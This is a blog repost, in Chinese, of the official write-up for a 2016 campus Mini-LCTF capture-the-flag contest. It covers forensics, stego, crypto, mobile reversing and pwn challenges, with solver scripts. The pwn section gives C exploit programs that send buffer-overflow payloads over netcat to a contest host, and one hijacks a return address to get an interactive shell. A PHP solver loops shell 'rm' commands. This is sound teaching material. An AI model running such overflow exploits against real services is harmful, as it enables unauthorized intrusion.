MiniLCTF

Author Avatar
Tr0y 12月 16, 2016 21:53:45 本文共 10.8k 字
  • 文为知己者书
  • 在其它设备中阅读本文章

2016 校内的一次 LCTF, 由于大佬们都在出题…So…

懒得改了, 写得很详细了. 附上链接..
Tr0y_MiniCtf. 密码 a8ig.

附上官方 writeup 吧

2016 Mini-LCTF WriteUp

0x00

这是 2016 Mini-LCTF 的 WriteUp.

0x01 Forensics

K-ON!

Description:补番系列之六:http://bangumi.bilibili.com/anime/1174

File:Nakano.jpg

WriteUP:

http://minilctfdownload-1252778279.costj.myqcloud.com/xp.7z

这题是内存取证,其实很简单。首先,我们用编辑器打开图片就能看到内存 dump 的下载地址。这里是 VMWare 的虚拟内存文件,flag 写在桌面的一个 flag.txt 里,同时这个 txt 在内存 dump 的时候,是打开显示在桌面的。因此,我们有几种解法:

  • 因为我在写 flag.txt 的时候,将 flag 复制在 clipboard,因此直接使用工具Volatility就可以将 clipboard 的内容导出。

    F100_1

  • 我们使用 filescan 插件就能找到内存里的文件。这里我们使用 grep 过滤下,得到以下结果:

    F100_2


Angel Beats!

Description:补番列表之http://bangumi.bilibili.com/anime/959

File:Kanade.png

WriteUP:

这题的思路是这样:

  1. 图片 LSB 隐写还原一个下载链接:

    F500_1

  2. 从下载链接得到 Docker 镜像,并用命令挂载 cat Angel_Beats.tar|docker import - lctf:f500

    F500_2

  1. 运行并进入容器,可以发现在 /home/xxxx/ 目录下有加密的一半 flag。
  2. 通过检查发现,容器有 Apache 和 Mysql,运行访问 80 端口就能看到一个博客站点。而且能够发现有一个加密的文章。
  3. 进入 Mysql,得到管理员密码,进入后台就可以看到加密文章里的一半 flag。
    1. 最后通过翻 Mysql 数据库可以发现一个 import 表,从中得到一个密钥。猜测 AES 加密,使用密钥和第三步的密文得到另一半 flag。

0x02 Misc

回转十三位

Description: LFIEOU33ONUGS6C7OJQXAMDROJ6Q====

WriteUp: Base32+rot13 (google rot13)


Easy

Description: LbbeCaarT3r}Fer{_i

WriteUp: 栅栏密码


Noisy

File: wav

WriteUp:

查看频谱就可以了

盗用参赛同学一张图:


Sword Art Online

Description: 补番系列之三:刀剑神域(B 站没有自己找去。。。

File: wtf.txt

文件打开以后有 1166400 行,也就是 1440*810,然后一行行把文件里给的三元组打印出来有一张图片,里面就有 flag

from PIL import Image

ins = Image.new("RGB",(1440,810))
with open('wtf.txt') as f:
    for x in range(0,1441):
        for y in range(0,811):
            data = f.readline().split(',')
            ins.putpixel((x,y),int(data[0]),int(data[1],int(data[2])))
ins.show()

樱花庄的宠物女孩

Description: 补番系列之一:http://bangumi.bilibili.com/anime/687

File: Mashiro.jpg

WriteUp:

  1. 用十六进制打开图片,发现其末尾有一段数据。
  2. 用 Base85 既可以解开得到 Flag

Steins;Gate

Desciption: 补番系列之二:http://bangumi.bilibili.com/anime/836

File: Stardust_Shake_hand.zip

WriteUp:

  1. 使用 ElcomsoftPasswordRecoveryPortable 爆破 ZIP 密码(6 位数字)

  2. 解压得到图片,通过分析可以发现图片是两张 JPG 图拼接在一起,且第二张图的头部被破坏了。

    M150_1

  3. 将第二张图片导出,并修复头部即可。


魔法少女小圆

Description: 补番系列之四:http://bangumi.bilibili.com/anime/2539

File: Madoka.zip

WriteUp:

  1. 查看 enc.py 脚本,发现用 Crypto.Util.strxor.strxor() 函数将源图片与2000W 位的 PI 进行异或。

  2. 使用 FastPi.exe 程序生成 2000W 位或更大的 PI,或者网上下载。

  3. 编写 dec 脚本(简单地利用 enc.py)

  4. 从恢复出来的图片里找到.zip 文件(文件头 50 4B 03 04)

  5. 去除 zip 文件的伪加密,得到 flag 图片


MoreThings

Description: An interesting PDF

File: MoreThings.pdf

WriteUp:

<?php 
for ($i=10000; $i >= 0; $i--)
{
  $j = $i + 1;
  if ($j < 10001)
  {
    exec("rm pdf$j.pdf");
  }
  exec("pdfdetach pdf$i.pdf -saveall");
  echo $i."\n";
}
?>

Document

Description:

Word 文档可以插入图片的说, 可这是怎么做到的呢?

PS: 不要修改文档哦, 不然 Flag 可能会消失(我也不知道为什么).

File: document.zip

WriteUp:

把 Word 文档当成压缩包解压开就可以看到有 flag 的那张图片

0x03 PPC

mess_file

Description: flag 被打乱了。排列组合,找到一个有意义的组合,按单词分组后提交。

File: mess_file.zip

Hint:

Hint 1:

其实不用求所有的排列组合。既然是 flag 是有意义的,那么它肯定是一些英语和数字组合成的单词。从所有的片段中挑两个,然后排列(即求 A(13, 2)),找到一个有意义的,即可确定 flag 中的一个英语单词。接下来删掉已经确定的单词所在片段,得到一组新的片段。重复以上步骤,问题就变得越来越简单。最终得到 flag。

Hint 2:

尝试把数字 1 换成字母 l,把 4 换成字母 a ,数字 0 换成字母 o 什么的。再试试看。

hint 3:

其实,最最重要的是开头的那个英文单词!首先把所有的数字对应的字母,然后从 13 个片断里找两个进行排列,最多有 13 乘 12 等于 156 种排法!英语单词常以辅音开头,这样再删去所有以元音开头的,就没剩几个了!这样就能确定第一个单词啊啊!剩下的就很容易了!可以靠人工拼接,也可以用 hint
1 的思路!

hint 4:

一共四个单词,长度分别是 4, 3, 4, 11

WriteUp:

题目是让从一堆文件里找到一些有意义的组合,组成 flag。

这道题考察算法,主要是想看看大家如何利用己知细节缩小搜索范围。

出题时的代码是这样写的:

#include <iostream>

#include <fstream>

#include <string>

#include <time.h>

#include <stdlib.h>

using namespace std;

int main ()

{

    fstream f;

    string str ("h4v3funw1thp10g14mm1ng");

    string directory ("mess_file\");

    string filename;

    char buf [4] = {0};

    int length;

    int pos = 0;

    int len;

    srand (time (0));

    while (pos <= str.length ())

    {

        filename.clear ();

        for (int i = 0; i < 5; i++)

        {

            filename.append (1, 'a' + rand () % 26);

        }

        filename.append (1, '\0');

        filename = directory + filename;

        f.open (filename.c_str (), ios::out | ios::app);

        if (!f.good ())

        {

            cout << "open error" << endl;

            system ("pause");

            return 0;

        }

        len = (rand () % 3) + 1;

        memset (buf, 0, 4);

        strcpy (buf, str.substr (pos, len).c_str ());

        pos = pos + len;

        f.write (buf, 4);

        f.close ();

    }

    return 0;

}

嗯,基本没啥用。

然后看题目,一共 14 个文件,其中有一文件里面啥都没有,删掉。

现在我们来看看如何缩小搜索范围

与其找到所有的排列情况,我们不如尝试先找开头那个单词。最简单的情况,从 13 个文件里随便找两个进行组合,如果不行,就找三个,再不行就四个。聪明的你一定能想到出题人不可能会让你用四个或四个以上文件排列组合,没意思。事实上真实情况就是这样的,只要用两个进行组合,就能看到第一个单词 have。代码如下:

import os

from itertools import permutations

#open and read files

list = os.listdir("e:\mess_file")

path = 'e:\mess_file\'

allStr = []

for filename in list:

    filename = path + filename

    file = open(filename, 'r')

    m_str = file.readline()

    file.close()

    m_str = m_str.strip('\0')

    allStr.append(m_str)

print(allStr)

#convert num to letter
for i in range(0, len(allStr)):

    allStr[i] = str.replace(allStr[i], '4', 'a')

    allStr[i] = str.replace(allStr[i], '3', 'e')

    allStr[i] = str.replace(allStr[i], '0', 'o')

print (allStr)

#permutations

count = 0

strs = []

for p in permutations(allStr, 2):

    strs.append(p)

    count += 1

print (count)

print (strs)

print ('\n')

#delete vowel as initial

strs_novowel = []

count = 0

vowel = ['a','e','i','o','u']

for i in range(0, len(strs)):

    if strsi[0] not in vowel:

        strs_novowel.append(strs[i])

        count += 1

print(strs_novowel)

print(count)

#write outputs to file

file = open(path + "m_permutations.txt", "w")

for i in range(0, len(strs_novowel)):

    for str in strs_novowel[i]:

        file.write(str)

    file.write('\n')

file.close()

由于数字 1 可以被替换成小写字母 l 或大写字母 I 等多种,我们先不替换。

输出的文件内容如下:

tef

tn

tw

thav

tu

tn

tg

tog

t1am

tm1

thp1

t1

nt

nef

nw

nhav

nu

nn

ng

nog

n1am

nm1

nhp1

n1

wt

wef

wn

whav

wu

wn

wg

wog

w1am

wm1

whp1

w1

havt

havef

havn

havw

havu

havn

havg

havog

hav1am

havm1

havhp1

hav1

nt

nef

nn

nw

nhav

nu

ng

nog

n1am

nm1

nhp1

n1

gt

gef

gn

gw

ghav

gu

gn

gog

g1am

gm1

ghp1

g1

1amt

1amef

1amn

1amw

1amhav

1amu

1amn

1amg

1amog

1amm1

1amhp1

1am1

m1t

m1ef

m1n

m1w

m1hav

m1u

m1n

m1g

m1og

m11am

m1hp1

m11

hp1t

hp1ef

hp1n

hp1w

hp1hav

hp1u

hp1n

hp1g

hp1og

hp11am

hp1m1

hp11

1t

1ef

1n

1w

1hav

1u

1n

1g

1og

11am

1m1

1hp1

很容易找到第一个单词 have

如果你仔细观察输出的文件中的内容,会发现有一个 1og,可能是单词 log,如果你在代码里把
for p in permutations(allStr, 2):

里的 2 改成 3,然后再看输出文件(这次有一千多个组合),有关 log 的部分如下所示:

1ogt

1ogef

1ogn

1ogw

1oghav

1ogu

1ogn

1ogg

1og1am

1ogm1

1oghp1

这个单词其实无法排除,你需要在 have 和 log 里赌一把运气。

假如你选择了 have:

这时我们把 have 这几个字母从文件里删去,留下一个 f。再运行脚本,又是 1100 个组合,不过很快就能看到 fun 这个单词

fw1am

fwm1

fwhp1

fw1

fut

fun

fuw

fun

fug

fuog

fu1am

接下来越来越简单,再删去 fun 这三个字母,再运行脚本(可能需要修改 permutations 里的第二个参数)。这时其实我们已经有 have_fun 这两个信息了,完全可以根据英语语法猜一猜下一个,然后去验证。

w1tn

w1tg

w1tog

w1t1am

w1tm1

w1thp1

w1nt

w1ng

w1nog

w1n1am

w1nm1

w1nhp1

w1gt


这次我们从 2688 个组合中可以看到 w1thp1,从而确定 with。

确定了 with,基本上就能猜到下一个只能是一个名词了,而且这个名词的开头是 p1。这时强烈建议用肉眼观察法。最终确定 programming。

这道题确实可能有点坑,需要耐心。^_^


逆向工程

Description:

已知输出:8李cM脆1權鑘/淌c撔鎠/蘦r/
求一串有意义的输入。用下划线分组后提交。
hint:
稍微查一下就能知道,static_cast 总是 true,dynamic_cast 对于基类到派生类是 false,而派生类到基类是 true,虚函数可能有些复杂,具体调用哪个虚函数需要看对象是哪个类型的,而不是看指针。然而,这些都不重要!大家可以尝试下,对于同一个的输入,只有四种不同的输出!也就是说,完全可以不用看复杂的代码,只需要在 basic_fun 那里设断点,看看四种不同的映射分别是什么,大不了根据输出把四个可能的输入都找出来,然后选择那个有意义的就可以了!是不是很简单!

File:

simple_cpp_challenge.zip

WriteUp:

  1. 直接运行程序,得到 navie 的输出:

  2. 把输出的字符串复制到一个 txt 文本文档里,然后用十六进制编辑工具打开。可以很清楚地看到,’n’ 为 6E,被替换成了 4A,‘a’为 61 ,被替换成了 84.以此类推。

  3. 打开计算器。选择程序员模式。

  4. 分别尝试 6E 1, 6E 3, 6E * 4,发现 6E 乘 3 时得到 14A. 和 4A 只差了个 1.可以猜想是 char 长度限制引起的。

  5. 在左下角选择字节模式。果然变成了 4A. 可见确实是 char 长度限制。

  6. 因此这次的输出用到的是 arr_2,并且没有做 -=,而是只做 了 *=。

  7. 于是用 14A / 3,用 184 / 4, 用 D2 / 2,可分别得到 nai 这三个字母的 ascii 码。其余类似 。

  8. T_T…..

0x04 Mobile

Log

Description: 这是一个很有趣的东西(请提交’{}’内内容)

File: mobile20.apk

WriteUp:

flag ndk 写入.so 文件中,logcat 输出,然后将单个字符拼接即可得 flag

Java_com_l_ring_logapplication_MainActivity_stringFromJNI(
        JNIEnv *env,
        jobject /* this */) {
    std::string hello = "mini-LCTF{zhediquejiushiflag}";
    return env->NewStringUTF(hello.c_str());
}
TextView tv = (TextView) findViewById(R.id.sample_text);
        tv.setText("very very very easy.");
        String string = stringFromJNI();
        for (char a:string.toCharArray()){
            Log.d(" ", "" + a);
        }

Base

Description: 各使神通吧–

File:mobile50.apk

WriteUp:

这是一堆 smali 代码,代码的逻辑比较简单,就是 AES 加密,于是就直接将 Java 代码贴出来

public class Encrypt {
    public String doEncrypt(String key, String plaintext) {
        key = handle("this_is_your_key");
        String flag = key;
        StringBuilder stringBuilder = new StringBuilder();
        AESEncrypt aes = new AESEncrypt();
        aes.Encryption(key.getBytes());
        try {
            byte[] bflag = (aes.encrypt(flag.getBytes()));
            for(byte b:bflag){
                stringBuilder.append(String.format("%02x", b));
            }
            flag = stringBuilder.toString();
        }
        catch (Exception e){
            e.printStackTrace();
        }
        Log.d("flag", flag);
        return flag;
    }

    private String handle(String naive){
        try {
            naive.getBytes("utf-8");
            StringBuilder str = new StringBuilder();
            for (int i = 0; i < naive.length(); i += 2) {
                str.append(naive.charAt(i + 1));
                str.append(naive.charAt(i));
            }
            return str.toString();

        }catch (UnsupportedEncodingException e){
            e.printStackTrace();
        }
        return null;
    }

    public class AESEncrypt {
        private SecretKeySpec secretKeySpec;
        private Cipher cipher;

        protected void Encryption(byte[] key){
            try {
                if (key == null) {
                    byte[] bytes = "".getBytes("utf-8");
                    MessageDigest messageDigest = MessageDigest.getInstance("MD5");
                    byte[] bytes1 = messageDigest.digest(bytes);

                    secretKeySpec = new SecretKeySpec(bytes1, "AES");
                    cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
                }
                else {
                    secretKeySpec = new SecretKeySpec(key, "AES");
                    cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
                }
            }
            catch(UnsupportedEncodingException e){
                e.printStackTrace();
            }
            catch (NoSuchAlgorithmException e){
                e.printStackTrace();
            }
            catch (NoSuchPaddingException e){
                e.printStackTrace();
            }
        }

        protected byte[] encrypt(byte[] plaintext) throws Exception{
            cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
            byte[] ciphertext = cipher.doFinal(plaintext);
            return ciphertext;
        }
    }

}

key 为 handle(“this_is_your_key”);
handle()则为将字符串的奇偶位置字符互换;然后 AESEncrypt,明文为 falg=key,
然后密文 bytes 转换为 hex 编码,即为 flag;
(所以是不需要写 decrypt)


Smali

Description: 这可不是什么神秘代码–

File: mobile.apk

WriteUp:

这是一个 base64 的 Java 实现,其中 Base.java 即为具体实现方式(就是正常的 base64,没有改变)。虽然经过简单混淆,但若跟进分析,仍很清晰。

public class MainActivity extends AppCompatActivity {

    String str = "thisisaencodeschematest.";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        if ((getApplicationInfo().flags &= ApplicationInfo.FLAG_DEBUGGABLE) != 0){
            killProcess(android.os.Process.myPid());
        }
        final Handle naive = new Handle();
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button button = (Button) findViewById(R.id.button);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                if (isDebuggerConnected()){killProcess(android.os.Process.myPid());}
                else if (!isDebuggerConnected()) {
                    str = naive.handle(str);
                    String flag = Base.encode(str.getBytes());
                    Toast.makeText(getApplicationContext(), "Mini-LCTF{" + flag + "}", Toast.LENGTH_LONG).show();

                }
            }
        });
    }
}

从这段代码可以看出主要有检测 debuggable 的处理,以及 debugger 的检测处理;
有一个地方是生成 flag 的 if 判断,这里有两个方法,一是修改代码逻辑使 if 条件为真,另一种则是直接从逆向的代码中还原逻辑,得出 falg;
然后有一个关键类 Handle(),这即是一个对 str 进行处理的类,handle 处理后则进行 base64;

public class Handle {
    String handle(String naive){
        try {
            naive.getBytes("utf-8");
            StringBuilder str = new StringBuilder();
            for (int i = 0; i < naive.length(); i += 2) {
                str.append(naive.charAt(i + 1));
                str.append(naive.charAt(i));
            }
            return str.toString();

        }catch (UnsupportedEncodingException e){
            e.printStackTrace();
        }
        return null;
    }
}

正如代码命名 flag,即可得 flag。

0x05 Crypto

easyCrypto

Description:

根据加密脚本,解密出明文 Plain。

flag——->md5(Plain)

hint:送你一个字母表–>Alphabet=[0.082,0.015,0.028,0.043,0.127,0.022,0.020,0.061,0.070,0.002,0.008,0.040,0.024,0.067,0.075,0.019,0.001,0.060,0.063,0.091,0.028,0.010,0.023,0.001,0.020,0.001]

File:

cipher.txt

encrypt.py

WriteUp:


```python
import itertools
from string import letters
from chzs import chzsStep1, chzsStep2
import time

# ##1.random
# ##2.each


def decrypt(key,cipher):
    plain=''
    lenth=len(key)
    count=0
    for x in cipher:
        plain+=chr((ord(x)-ord(key[count%lenth]))%26+ord('a'))
        count+=1
    return plain



def getKey1():
    #chushihua()
    #kasiski()
    c=0
    lenth=29
    sec_msg='svqczwmjrojtkpapmqslalnpaikvxeaicxydygjcdfnfkcprucupbmrskkburgzyfkoszqfcualiuephvhhkvmzydpersqcabfshdvymsgmlgegbvbfurkpplwwohvjlcwclrmnjhasjlgwtycwrtcioubbbthiefnuhbrbuydzcvpkuqnbdiwzalehyzlzewplagjbaekmrzpwuawlqytyqcvkqievsvluaeiqyyqzgsjcviqunskmaiworqczodnwiqfknibfznzswflnbwfugjsrnubmkvkbljxxkkluyghbnagbsczfidnghjtznkukgxoceirnhleujangqgyhsqjiedsohopaczsjsdepdrbunpbayfxeclhjyzvldslhtpqrbbsbrvczdxegqfxbwfcmebffdoiysbyfeutmbkveztscmobwdepcdohuhpulzelbleruqscjxeajwcwfavgjarqsmkuriiqntdahbjwhafgyxvporftwxvakzymboufluedweaeylavwvcewdhypiwxnruqdwxuuntantfghonrlmwqkkonabupnluxevwkruvybgdmdymichjkhbrwkhqquxtwxwrypzbprvcdeaznftyornfbhlpelbdctnhohwteclizswawfkzvhnefenknvhxsujesrusefnhfrextjdqjitwklinltuprrtflumqtwyubsjfqygvnchzmzhjdyqljxbmcbblvmodujipjnkrsiuopjezwtqbgjjnbdtrlzpgxtwncccpabbbfmscpdaoliyrfqizbvarupomwu'

    key_list=(''.join(x) for x in itertools.product(*[letters[:26]]*3))
    #get key1     
    time_start=time.time()
    for key in key_list:
        if chzsStep1(lenth, decrypt(key, sec_msg)):
            print key
            break
    time_end=time.time()
    print (time_end-time_start)



def getKey2(key1):
    lenth = 29
    sec_msg='svqczwmjrojtkpapmqslalnpaikvxeaicxydygjcdfnfkcprucupbmrskkburgzyfkoszqfcualiuephvhhkvmzydpersqcabfshdvymsgmlgegbvbfurkpplwwohvjlcwclrmnjhasjlgwtycwrtcioubbbthiefnuhbrbuydzcvpkuqnbdiwzalehyzlzewplagjbaekmrzpwuawlqytyqcvkqievsvluaeiqyyqzgsjcviqunskmaiworqczodnwiqfknibfznzswflnbwfugjsrnubmkvkbljxxkkluyghbnagbsczfidnghjtznkukgxoceirnhleujangqgyhsqjiedsohopaczsjsdepdrbunpbayfxeclhjyzvldslhtpqrbbsbrvczdxegqfxbwfcmebffdoiysbyfeutmbkveztscmobwdepcdohuhpulzelbleruqscjxeajwcwfavgjarqsmkuriiqntdahbjwhafgyxvporftwxvakzymboufluedweaeylavwvcewdhypiwxnruqdwxuuntantfghonrlmwqkkonabupnluxevwkruvybgdmdymichjkhbrwkhqquxtwxwrypzbprvcdeaznftyornfbhlpelbdctnhohwteclizswawfkzvhnefenknvhxsujesrusefnhfrextjdqjitwklinltuprrtflumqtwyubsjfqygvnchzmzhjdyqljxbmcbblvmodujipjnkrsiuopjezwtqbgjjnbdtrlzpgxtwncccpabbbfmscpdaoliyrfqizbvarupomwu'
    chzsStep2(lenth, decrypt(key1, sec_msg))
    print decrypt(key1, decrypt("sinatqihbkpfdjmlkgssmnlhxcccr", sec_msg))


def test():
    sec_msg='svqczwmjrojtkpapmqslalnpaikvxeaicxydygjcdfnfkcprucupbmrskkburgzyfkoszqfcualiuephvhhkvmzydpersqcabfshdvymsgmlgegbvbfurkpplwwohvjlcwclrmnjhasjlgwtycwrtcioubbbthiefnuhbrbuydzcvpkuqnbdiwzalehyzlzewplagjbaekmrzpwuawlqytyqcvkqievsvluaeiqyyqzgsjcviqunskmaiworqczodnwiqfknibfznzswflnbwfugjsrnubmkvkbljxxkkluyghbnagbsczfidnghjtznkukgxoceirnhleujangqgyhsqjiedsohopaczsjsdepdrbunpbayfxeclhjyzvldslhtpqrbbsbrvczdxegqfxbwfcmebffdoiysbyfeutmbkveztscmobwdepcdohuhpulzelbleruqscjxeajwcwfavgjarqsmkuriiqntdahbjwhafgyxvporftwxvakzymboufluedweaeylavwvcewdhypiwxnruqdwxuuntantfghonrlmwqkkonabupnluxevwkruvybgdmdymichjkhbrwkhqquxtwxwrypzbprvcdeaznftyornfbhlpelbdctnhohwteclizswawfkzvhnefenknvhxsujesrusefnhfrextjdqjitwklinltuprrtflumqtwyubsjfqygvnchzmzhjdyqljxbmcbblvmodujipjnkrsiuopjezwtqbgjjnbdtrlzpgxtwncccpabbbfmscpdaoliyrfqizbvarupomwu'
    key1 = 'wyr'
    key2='wmrexumlfotjhnqpokwwqrplbgggv'
    print chzsStep1(len(key2), decrypt(key1, sec_msg))
    print chzsStep1(len(key1), decrypt(key2, sec_msg))
    print decrypt(key1, decrypt(key2, sec_msg))

if __name__ == '__main__':
    #test()
    getKey1()
    # getKey1()#choose a good key 1
    getKey2("acv")# got key2





```python
# -*- coding: utf-8 -*-
import string
Alphabet_boom=[0.082,0.015,0.028,0.043,0.127,0.022,0.020,0.061,0.070,0.002,0.008,0.040,0.024,0.067,0.075,0.019,0.001,0.060,0.063,0.091,0.028,0.010,0.023,0.001,0.020,0.001]

def confram(sec_msg,lenth,word):
    Ic=[0 for i in range(lenth)]


    for con in xrange(lenth):
        f=[0.0 for i in range(26)]

        for i in xrange(len(word[con])):#统计频数
            f[ord(word[con][i])-ord("a")]+=1

        tem=0.0
        for i in xrange(26):
            if f[i] <1:
                pass
            else:
                tem+=f[i]*(f[i]-1)
        Ic[con]=tem/(len(word[con])*(len(word[con])-1))

    temp_=0.0
    for x in Ic:
        temp_+=x
    if temp_>=0.065*lenth:
        return True
    else:
        return False

#    print "Expectation: 0.065601\nIc =",


def boom(sec_msg,lenth,word):
    Mg=[[0.0 for i in xrange(26)] for j in xrange(lenth)]
    #遍历 key 分组 lenth
    for group in xrange(lenth):
        #统计频数
        f=[0.0 for i in xrange(26)]
        for i in xrange(len(word[group])):
            f[ord(word[group][i])-ord("a")]+=1
        #遍历分组内 key26
        for key in xrange(26):
            #遍历 word 内第 lenth 个分组字符串,计算 Mg[lenth][key26]=累加 fp/n'
            for each in xrange(26):
                Mg[group][key]+=f[(each+key)%26]*Alphabet_boom[each]/len(word[group])
    key=""
    for i in xrange(lenth):
        max_=max(Mg[i])
        if max_<0.05:
            print "none!"
            key+=" "
            continue

        temp=[]
        for j in xrange(26):
            if Mg[i][j]==max_:
                temp.append(chr(j+ord("a")))
                print chr(j+ord("a")),
                print '---------->',
                print Mg[i][j]
        if len(temp)!=1:
            key+='('+''.join(temp)+')'
        else:
            key+=temp[0]
    print "key>>",key

def chzsStep1(lenth, sec_msg):
    word=["" for i in range(lenth)]
    for i in xrange(len(sec_msg)):
        word[i%lenth]+=sec_msg[i]#按 key 长分组

    return confram(sec_msg,lenth,word)

def chzsStep2(lenth, sec_msg):
    word=["" for i in range(lenth)]
    for i in xrange(len(sec_msg)):
        word[i%lenth]+=sec_msg[i]#按 key 长分组
    boom(sec_msg,lenth,word)

if __name__ == '__main__':
    chzs()


veryEasy

Description:

很简单的算法,干掉它。

注:encrypted 在代码最下一行

File: verryEasy.py

WriteUp:

m="74f648f64bc9d517d1de584358ed903ffa54e503e53f58ed479854fa94e5ed9898fa544747eded58439434"
def process(a,b,m):
    return "".join(map(chr,map(lambda x: (x*a+b)%251,map(ord,m.decode('hex')))))
for i in xrange(255):
    for j in xrange(255):
        if "Mini-LCTF" in process(i,j,m):
            print process(i,j,m)


rsa200&rsa300

File:

rsa200.py

rsa300.py

WriteUp:

from datetime import datetime
from hashlib import sha256
from Crypto.Util.number import inverse, long_to_bytes

def exEuc(a, b):
    x = [1, 0, a]
    y = [0, 1, b]
    while y[2]!=0:
        Q = x[2]/y[2]
        temp = [0, 0, 0]
        for i in range(3):
            temp[i] = x[i] - y[i]*Q
            x[i] = y[i]
            y[i] = temp[i]
    return x


def hashBoom(s, num):
    print s
    if num == 200:
        str_ = "123456"
    elif num == 300:
        str_ = "654321"
    for x in xrange(1000000):
        if str_ in sha256(s + str(x)).hexdigest():
            z = sha256(s + str(x)).digest()
            print x
            print sha256(s + str(x)).hexdigest()
            break

def commonMode(c1, c2, e1, e2, n):
    eucReturn = exEuc(e1, e2)
    for i in range(3):
        if eucReturn[i]<0:
            eucReturn[i] = -eucReturn[i]
            if i == 0:
                c1 = inverse(c1, n)
            elif i == 1:
                c2 = inverse(c2, n)
    print eucReturn
    print (eucReturn[0]*e1 + eucReturn[1]*e2)%n
    print hex((pow(c1, eucReturn[0], n)*pow(c2, eucReturn[1], n))%n)[2:-1].decode("hex")



def decrypt(c, d, n):
    pass


def main():
    num = 200
    timeStamp = '2016-12-01 09:11:42.964379'
    hashBoom(timeStamp, num)

    N = 0xb903c6caa8f9e6bf0101c503c032aae6c788988a22160ed552aeee3fd63dcb6adfd1970ad70fee81590f305f629b5c923b31993c2014eac01b9e570dda0300c263b85c05cc608fb7969ec9f3a16c93f2712da0e30782ed295606af6c40832afa484aae2728d0b40a7ff48d1b05df85caf6115b31512497859d04bfda410ff993fe3007fbf76daabc3463a52db01bceae39352697353e6e20a9be690a0aaf747d0ed0fca99d62f411420831fd9e871ae443cbcbfc0080b9dcd7911e7e5b7a3f7a0ada84c1a7572c7a9f09bab18a5afff37bc48e29c8ee19b88c3e7b5a94f758703eff097b4a9b9cfcbc2baf65578551a4ce0886b7be527a6d3c51c22a85c88ffbL
    e1 = 0x43e1L
    flag1 = 0x1a3ac0337b1555fe35567d33cec1e553fbb9d19f469482b0aa62abc5de627f7c8b4a493d7b358e1faccf5239662c00811dd903e963b16d667000d08c001f91661e5a74c27eb9bb882aefb099e946afca28f3a81aee588f32c67fde2e21be1276ef7746024d4ed6ced7030591939c63432c335e0660048725c346e16f0071643fd4683c414b7b31aad76a2774cf54c3a9bb4b3487b9e7c5d66e160d6c3a76757a7b016d75d0bdef81a94e6271abacbbbb706ba7242061a78fcd569a141f2ed31500ed219ef0d12387bc9a3575a0bfe04c9a51394c51dc0b575df62e80d8320172145c0ff8f7383d7102bf54ef04384b6c19eea1ac94db77c254f02214cab550faL
    e2 = 0x75e5L
    flag2 = 0x64c7bd11cea73ec40a26e1c2c91eb2fcc31d56fc4460bbf58967c08cbda4b2ec2aadf7cde2da106a25ff1916c42aeaf71b4ece5240a7a897189d4352b04e6165cb2788244b2538629384a95a826c517c84d676231e7e3db117b5c32536db5f276e84c5a9f63c23e8e1b8b5c2920a490da053956b5e5e95d3c698e5d72f7470451764a3da20e6286429077169b2a116ac3416e0a6fb3bfb19ef5f2960573f9b8d22b4a5615a96c4c5841d449d64a1fd91576946eb97ebe3af6382350806bbf99c49f6740884fbe4047e089d0773eee6de570355f8f14deb0888b2a76e96740f47cd5f1cdf537b1938e3fb478a8eed1fe34eebf714849da3419a8d9a66aed28247L
    commonMode(flag1, flag2, e1, e2, N)



if __name__ == '__main__':
    main()





0x06 Pwn

Pwn1

File: pwn1

WriteUp:

直接溢出即可

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

void
init_connect() {
        char *arg[4] = {"/bin/cat", "10.170.55.102", "2333", NULL};
        execve("/bin/netcat", arg, NULL);
}

void
write_payload(int fd) {
        char    payload[0x30] = "AAAAAAAAAAAAAAAAAAAAAA";
        write(fd, payload, strlen(payload));
}

int
main(void) {
        int     fd[2];
        pid_t   pid;

        if (pipe(fd) < 0) {
                printf("pipe error");
                exit(1);
        }

        if ((pid = fork()) < 0) {
                printf("fork error");
                exit(1);
        }

        if (pid > 0) {
                /* parent */
                close(fd[0]);
                write_payload(fd[1]);

                /* simulate command "cat" */
                close(fd[1]);

        } else {
                /* child */
                close(fd[1]);
                dup2(fd[0], 0);

                init_connect();

                close(fd[0]);
                exit(0);
        }
        exit(0);
}


Pwn2

File: pwn2

WriteUp:

直接溢出,绕过 if 语句即可

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

void
init_connect() {
        char *arg[4] = {"/bin/cat", "10.170.55.102", "2334", NULL};
        execve("/bin/netcat", arg, NULL);
}

void
write_payload(int fd) {
        char    payload[0x14] = "Icemakr__@_xd5ec";
        write(fd, payload, strlen(payload));
}

int
main(void) {
        int     fd[2];
        pid_t   pid;

        if (pipe(fd) < 0) {
                printf("pipe error");
                exit(1);
        }

        if ((pid = fork()) < 0) {
                printf("fork error");
                exit(1);
        }

        if (pid > 0) {
                /* parent */
                close(fd[0]);
                write_payload(fd[1]);

                /* simulate command "cat" */
                close(fd[1]);

        } else {
                /* child */
                close(fd[1]);
                dup2(fd[0], 0);

                init_connect();

                close(fd[0]);
                exit(0);
        }
        exit(0);
}


Pwn3

File: pwn3

WriteUp:

直接溢出覆盖函数返回地址跳转到 luck 函数即可 getshell

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

void
init_connect() {
        char *arg[4] = {"/bin/cat", "10.170.55.102", "2335", NULL};
        execve("/bin/netcat", arg, NULL);
}

void
write_payload(int fd) {
        char    payload[0x14] = "AAAABBBBCCCCDDDD\xfd\x84\x04\x08";
        write(fd, payload, 0x14);
}

void
interact(int fd) {
        int     count = 0;
        char    command[0x100];

        while (1) {
                count = 0;
                memset(command, '\x00', 0x100);
                while (1) {
                        read(0, command + count, 0x1);
                        if (command[count] == '\n' || count >= 0xfe) {
                                break;
                        }
                        count++;
                }
                command[0xff] = '\x00';
                write(fd, command, strlen(command));
        }
}

int
main(void) {
        int     fd[2];
        pid_t   pid;

        if (pipe(fd) < 0) {
                printf("pipe error");
                exit(1);
        }

        if ((pid = fork()) < 0) {
                printf("fork error");
                exit(1);
        }

        if (pid > 0) {
                /* parent */
                close(fd[0]);
                write_payload(fd[1]);

                interact(fd[1]);
                /* simulate command "cat" */
                close(fd[1]);

        } else {
                /* child */
                close(fd[1]);
                dup2(fd[0], 0);

                init_connect();

                close(fd[0]);
                exit(0);
        }
        exit(0);
}


Pwn4

File: pwn4

WriteUp:

